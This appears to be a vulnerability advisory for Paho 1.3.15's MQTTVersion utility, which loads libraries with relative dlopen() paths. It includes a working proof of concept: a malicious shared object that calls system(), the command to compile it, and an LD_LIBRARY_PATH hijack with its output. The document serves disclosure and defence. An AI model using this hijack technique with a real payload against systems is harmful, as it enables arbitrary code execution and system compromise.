Paho 1.3.15 Path Hijacking / Code Execution

*Description:*
    Arbitrary code execution is possible in the MQTTVersion utility due to
    uncontrolled loading of shared libraries using non-absolute paths. The
    application invokes dlopen() with relative library names and relies on the
    dynamic loader’s search path to resolve the target library. Because the
    library origin is not restricted to trusted directories and no integrity or
    authenticity checks are performed, an attacker can cause a malicious shared
    object to be loaded and executed.This vulnerability occurs when the process
    inherits a user-controlled library search path, such as through the
    LD_LIBRARY_PATH environment variable. Under these conditions, an
    attacker-supplied shared object with a matching library name will be loaded
    instead of the legitimate library.
    
    *Impact:*
    An attacker can execute arbitrary code in the context of the user running
    the MQTTVersion utility. If the utility is executed with elevated
    privileges or within automated environments (e.g., CI/CD pipelines,
    packaging systems, or administrative scripts), this vulnerability may
    result in full system compromise.
    
    *Affected Code:*
    void* APILibrary = dlopen("libpaho-mqtt3c.so.1", RTLD_LAZY);
    
    *Attack Scenario:*
    
       1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1
       in a directory they control.
       2. The attacker modifies the runtime environment to include this
       directory in the loader search path.
       3. When the utility is executed, the malicious library is loaded and
       attacker-controlled code executes.
    
    *Proof of Concept (PoC):*
    
    *Malicious Shared Object:*
    // evil.c
    #include <stdlib.h>
    
    typedef struct {
        const char* name;
        const char* value;
    } MQTTAsync_nameValue;
    
    MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
        system("echo RCE_FROM_SO");
        static MQTTAsync_nameValue v[] = {
            {"PWNED", "Function pointer executed"},
            {NULL, NULL}
        };
        return v;
    }
    
    *Compile the malicious library:*
    clang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1
    
    *Exploitation:*
    export LD_LIBRARY_PATH=$PWD
    ./MQTTVersion
    
    *Output:*
    MQTTVersion: print the version strings of an MQTT client library
    Copyright (c) 2012, 2018 IBM Corp.
    Specify a particular library name if it is not in the current directory, or
    not executable on this platform
    --- Trying library paho-mqtt3c ---
    RCE_FROM_SO
    PWNED: Function pointer executed
    --- Trying library paho-mqtt3cs ---
    Error loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:
    cannot open shared object file: No such file or directory
    --- Trying library paho-mqtt3a ---
    Error loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:
    cannot open shared object file: No such file or directory
    --- Trying library paho-mqtt3as ---
    Error loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:
    cannot open shared object file: No such file or directory
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>